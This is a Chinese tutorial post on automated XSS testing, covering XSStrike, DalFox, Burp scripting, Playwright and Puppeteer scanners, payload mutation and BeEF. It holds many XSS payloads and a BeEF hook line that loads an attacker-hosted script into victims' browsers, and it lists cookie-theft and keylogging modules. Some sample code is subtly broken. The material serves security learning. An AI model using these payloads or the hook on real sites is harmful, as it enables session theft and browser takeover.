大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们来聊聊自动化工具的运用,废话不多说我们直接开始吧!


开始前依旧提供链接
链接:https://pan.quark.cn/s/0e84811053d1?pwd=tMwG
提取码:tMwG


手工测试虽然精准,但在面对大量参数、复杂场景时效率太低。自动化工具可以帮助我们快速扩大测试覆盖面,发现潜在漏洞,再结合手工验证,达到事半功倍的效果。本章将介绍几款主流的 XSS 自动化工具,并深入讲解如何编写自定义脚本实现更灵活的测试。

XSStrike 深入

XSStrike是一款功能强大的 XSS 检测工具,它不仅能发送 Payload,还能分析上下文、生成绕过 Payload 并探测 WAF

核心特性

特性 说明
上下文分析 通过分析响应判断输出点位置(HTML 标签内、属性中、JS 代码中等)
Payload 生成器 根据上下文自动生成合适的 Payload
WAF 探测 发送特定 Payload 判断是否存在 WAF 及其类型
多线程扫描 支持多线程提高效率
支持 GET/POST 可测试 URL 参数和 POST 表单

基本用法

测试单个 URL

python xsstrike.py -u "http://target.com/page.php?id=1"

测试 POST 请求

python xsstrike.py -u "http://target.com/search.php" --data "q=test"

从文件读取多个目标

python xsstrike.py --seeds urls.txt

指定参数名

python xsstrike.py -u "http://target.com/page.php?q=test" --params "q"

分析 Payload 生成逻辑

XSStrike 的 Payload 生成器会根据上下文动态调整。例如,如果检测到输出点在 HTML 标签内部,它会生成闭合标签的 Payload;如果在 JavaScript 字符串中,它会生成字符串闭合 Payload。

# 假设输出点在 <input value="[output]"> 中
XSStrike 会生成:">< img src=x onerror=alert(1)>
# 从而闭合 value 属性,注入新标签

自定义规则扩展

XSStrike 的 Payload 存储在 core/payloads.py 中,可以根据需要添加新的 Payload 或绕过技巧。例如,添加一个针对特定 WAF 的 Payload:

# 在 payloads.py 的 XSS 列表中添加
XSS_PAYLOADS = [
    # ...
    '<svg/onload=alert(1)>',
    '<math><mtext><script>alert(1)</script></mtext></math>',
    # 自定义 Payload
    '<img src="x" onerror="eval(atob(\'YWxlcnQoMSk=\'))">'  # base64 编码的 alert(1)
]

局限性

· 对 DOM 型 XSS 检测能力有限(因为它需要执行 JavaScript,而 XSStrike 是静态分析)

· 可能遗漏需要用户交互的触发点(如点击按钮)

· 某些复杂业务逻辑无法覆盖(如多步骤表单)

DalFox

DalFox 是一款基于 Go 语言开发的 XSS 扫描器,支持 DOM 解析和动态测试,对现代 Web 应用更友好。

核心特性

特性 说明
DOM 解析 内置 headless 浏览器,可以执行 JavaScript,检测 DOM 型 XSS
动态测试 模拟点击、输入等操作,触发隐藏的 XSS
多格式输入 支持 URL、文件、Burp 请求包
WAF 检测 识别 WAF 类型并尝试绕过
漏洞验证 自动验证漏洞,减少误报

基本用法

扫描单个 URL

dalfox url "http://target.com/page.php?id=1"

从文件读取多个 URL

dalfox file urls.txt

使用 Burp 请求包

dalfox request req.txt

启用 DOM 解析(headless)

dalfox url "http://target.com/page.php?id=1" --headless

高级选项

指定参数

dalfox url "http://target.com/page.php?id=1&name=test" --param id --param name

自定义 Payload 文件

dalfox url "http://target.com/page.php?id=1" --payload-file my_payloads.txt

忽略某些参数

dalfox url "http://target.com/page.php?id=1&token=123" --skip-param token

输出结果到文件

dalfox url "http://target.com/page.php?id=1" -o result.txt

与 XSStrike 对比

对比项 XSStrike DalFox
编程语言 Python Go
DOM 支持 静态分析 headless 动态执行
速度 较慢
适用场景 传统反射型 XSS 现代应用,含 DOM 型 XSS

实战案例

假设一个页面通过 JavaScript 动态将 URL 参数插入到 DOM 中

let params = new URLSearchParams(location.search);
document.getElementById('output').innerHTML = params.get('msg');

使用 DalFox 的 headless 模式可以检测到这种 DOM 型 XSS:

dalfox url "http://target.com/page.php?msg=test" --headless

DalFox 会启动浏览器访问页面,执行 JavaScript,并尝试注入 Payload,观察是否弹窗。

Knoxss

Knoxss 是一个在线 XSS 测试平台,提供免费的快速验证服务(有一定限制)。

特点

· 无需安装,直接在网页上测试

· 支持多种 Payload 编码

· 可查看请求和响应详情

· 适合快速验证漏洞是否存在

使用方法

1. 访问 https://knoxss.me

2. 输入目标 URL 和参数名

3. 选择 Payload 类型(普通、编码、过滤绕过等)

4. 点击“Scan”,等待结果

局限性

· 免费版有次数限制

· 不能测试需要登录的页面(除非用付费版)

· 无法处理复杂业务逻辑

Burp 插件深度联动

Burp Suite 是渗透测试的瑞士军刀,配合插件可以大幅提升 XSS 测试效率。

使用 Bambda 过滤器快速筛选可疑参数

Bambda 是 Burp 的 Java 脚本接口,可以编写自定义过滤器,快速从大量请求中筛选出可能包含 XSS 的参数。

示例 Bambda(仅显示包含 <> 的响应)

if (!requestResponse.hasResponse()) return false;
String response = new String(requestResponse.response());
return response.contains("<") && response.contains(">");

将这段代码粘贴到 Burp 的“Bambda”窗口,即可过滤出可能反射了尖括号的请求。

Jython 脚本实现复杂逻辑检测

Jython 可以在 Burp 中运行 Python 脚本,实现自定义的主动扫描检查器。

示例:编写一个简单的 XSS 检查器,扫描所有参数并发送 Payload。

from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.util import ArrayList
import urllib

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("XSS Scanner")
        callbacks.registerScannerCheck(self)
        print("XSS Scanner loaded")
    
    def doPassiveScan(self, baseRequestResponse):
        return None
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        # 构建测试 Payload
        payloads = ["<script>alert(1)</script>", "< img src=x onerror=alert(1)>"]
        issues = []
        for payload in payloads:
            checkRequest = insertionPoint.buildRequest(payload)
            checkResponse = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest)
            responseInfo = self._helpers.analyzeResponse(checkResponse)
            body = checkResponse.tostring()
            if payload in body:
                issues.append(self._createIssue(baseRequestResponse, payload))
        return issues if issues else None
    
    def _createIssue(self, baseRequestResponse, payload):
        return self._callbacks.applyMarkers(
            self._helpers.createScanIssue(
                baseRequestResponse.getHttpService(),
                self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
                [baseRequestResponse],
                "XSS Vulnerability",
                "A cross-site scripting vulnerability was detected with payload: " + payload,
                "High",
                "Certain"
            )
        )
    
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        return -1

配合 Scanner 进行主动扫描

Burp 的主动扫描可以自动爬取网站并测试所有参数,配合自定义的 Payload 列表,可以快速发现 XSS。

配置步骤

1. 在 Burp 的“Scanner” -> “Insertion point”中,启用所有参数类型。

2. 在“Scanner” -> “Payloads”中添加自定义 XSS Payload 列表。

3. 开始主动扫描,Burp 会自动测试每个参数。

自定义脚本开发

当现成工具无法满足需求时,编写自定义脚本可以突破限制,实现更灵活的测试。

Python + Selenium/Puppeteer/Playwright 构建动态扫描器

对于需要执行 JavaScript 才能触发的 XSS,可以使用 headless 浏览器模拟真实用户。

Playwright 示例(Python):

from playwright.sync_api import sync_playwright
import time

def test_xss(url, param_name, payload):
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=False)  # 可设 headless=True
        page = browser.new_page()
        
        # 监听 alert 事件
        page.on("dialog", lambda dialog: print(f"Alert triggered: {dialog.message}"))
        
        # 构造测试 URL
        test_url = url.replace("FUZZ", payload)  # 假设参数位置用 FUZZ 标记
        page.goto(test_url)
        time.sleep(2)  # 等待页面执行
        browser.close()

 使用示例

test_xss("http://target.com/search?q=FUZZ", "q", "<script>alert(1)</script>")

Puppeteer 示例(Node.js):

const puppeteer = require('puppeteer');

(async () => {
    const browser = await puppeteer.launch({ headless: false });
    const page = await browser.newPage();
    
    page.on('dialog', async dialog => {
        console.log('Alert:', dialog.message());
        await dialog.dismiss();
    });
    
    await page.goto('http://target.com/search?q=<script>alert(1)</script>');
    await browser.close();
})();

基于 AST 的 Payload 生成器

AST(抽象语法树)可以分析 JavaScript 代码的结构,并自动生成变异的 Payload,用于绕过 WAF。

简单思路

1. 解析已知 Payload 的 AST。

2. 随机替换节点(如将 alert 换成 prompt、confirm)。

3. 插入垃圾代码(如无意义的变量声明)。

4. 重新生成代码字符串,作为 Payload 发送。

Python 示例(使用 esprima 解析 JS):

import esprima
import random
def mutate_payload(payload):
    # 解析 AST
    ast = esprima.parseScript(payload)
    # 随机修改 AST 节点(这里仅示例,实际需遍历树)
    # 例如:将函数名 'alert' 改为 'confirm'
    def walk(node):
        if node.type == 'CallExpression' and node.callee.name == 'alert':
            node.callee.name = random.choice(['confirm', 'prompt'])
        for key in node:
            if isinstance(node[key], dict):
                walk(node[key])
            elif isinstance(node[key], list):
                for item in node[key]:
                    if isinstance(item, dict):
                        walk(item)
    walk(ast)
    
    # 将 AST 转回代码(需要 escodegen)
    import escodegen
    return escodegen.generate(ast)
# 示例
payload = '<script>alert(1)</script>'
mutated = mutate_payload(payload)
print(mutated)  # 可能输出 <script>confirm(1)</script>

Fuzzing 字典生成器

收集各种 XSS Payload 变体,生成字典用于模糊测试。

import itertools

def generate_payloads(base_payloads, encodings):
    """生成组合 Payload"""
    for payload in base_payloads:
        for encoding in encodings:
            yield encoding(payload)

def html_escape(payload):
    return payload.replace('<', '&lt;').replace('>', '&gt;')
def url_encode(payload):
    return requests.utils.quote(payload)

def js_escape(payload):
return payload.replace("'", "\\'").replace('"', '\\"')
# 使用
base = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
encodings = [lambda x: x, html_escape, url_encode, js_escape]
for p in generate_payloads(base, encodings):
    print(p)

机器学习 WAF 探测思路

可以训练一个简单的分类器,判断响应是否被 WAF 拦截(如根据状态码、响应内容中的关键词)。但实际应用中,机器学习更多用于学术研究,实战中规则匹配更常见。

Tampermonkey 用户脚本辅助手工测试

编写 Tampermonkey 脚本可以在浏览器中自动修改请求或注入 Payload,辅助手工测试。

示例:自动给所有链接添加 XSS 参数测试。

// ==UserScript==
// @name         XSS Helper
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Add XSS test parameters to all links
// @author       You
// @match        *://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    document.querySelectorAll('a').forEach(link => {
        let url = new URL(link.href);
        if (!url.searchParams.has('xss_test')) {
            url.searchParams.set('xss_test', '<script>alert(1)</script>');
            link.href = url.toString();
        }
    });
})();

BeEF 实战

BeEF(Browser Exploitation Framework)是一个专注于浏览器端的渗透测试框架,可以将 XSS 漏洞转化为浏览器控制权。

部署与 hook 方式

1. 启动 BeEF:

   ./beef

   默认访问 http://localhost:3000/ui/panel,用户名密码 beef。

2. 生成 hook 脚本:

   BeEF 提供一个 hook.js 文件,地址为 http://your-ip:3000/hook.js。

3. 在 XSS 漏洞中加载 hook[html]:

   <script src="http://your-ip:3000/hook.js"></script>

   当受害者访问页面时,浏览器就会被 hook 到 BeEF 控制台。

模块利用与扩展

BeEF 提供了大量模块,可以执行以下操作:

模块类别 功能示例
信息收集 获取浏览器版本、已安装插件、屏幕分辨率
窃取数据 窃取 Cookie、键盘记录、截图
网络扫描 对内网进行端口扫描
持久化 安装持久化脚本(如使用 setInterval 重新 hook)
漏洞利用 针对特定浏览器的漏洞(如旧版 IE 的 RCE)

使用示例

1. 在 BeEF 控制台,选择被 hook 的浏览器。

2. 在“Commands”选项卡中搜索模块,如“Get Cookies”。

3. 点击“Execute”运行,结果会返回

自定义模块开发

BeEF 模块由 Ruby 编写,放在 modules/ 目录下。一个简单的模块结构

# modules/example/example.rb
class Example < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    return [
      {'name' => 'message', 'type' => 'textarea', 'value' => 'Hello', 'description' => 'Message to alert'}
    ]
  end

  def post_execute
    content = {}
    content['result'] = @datastore['result']
    save content
  end
end

对应的 JavaScript 文件(command.js):

beef.execute(function() {
  var message = '<%= @message %>';
  alert(message);
  beef.net.send('<%= @command_id %>', beef.result({"result": "ok"}));
});
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐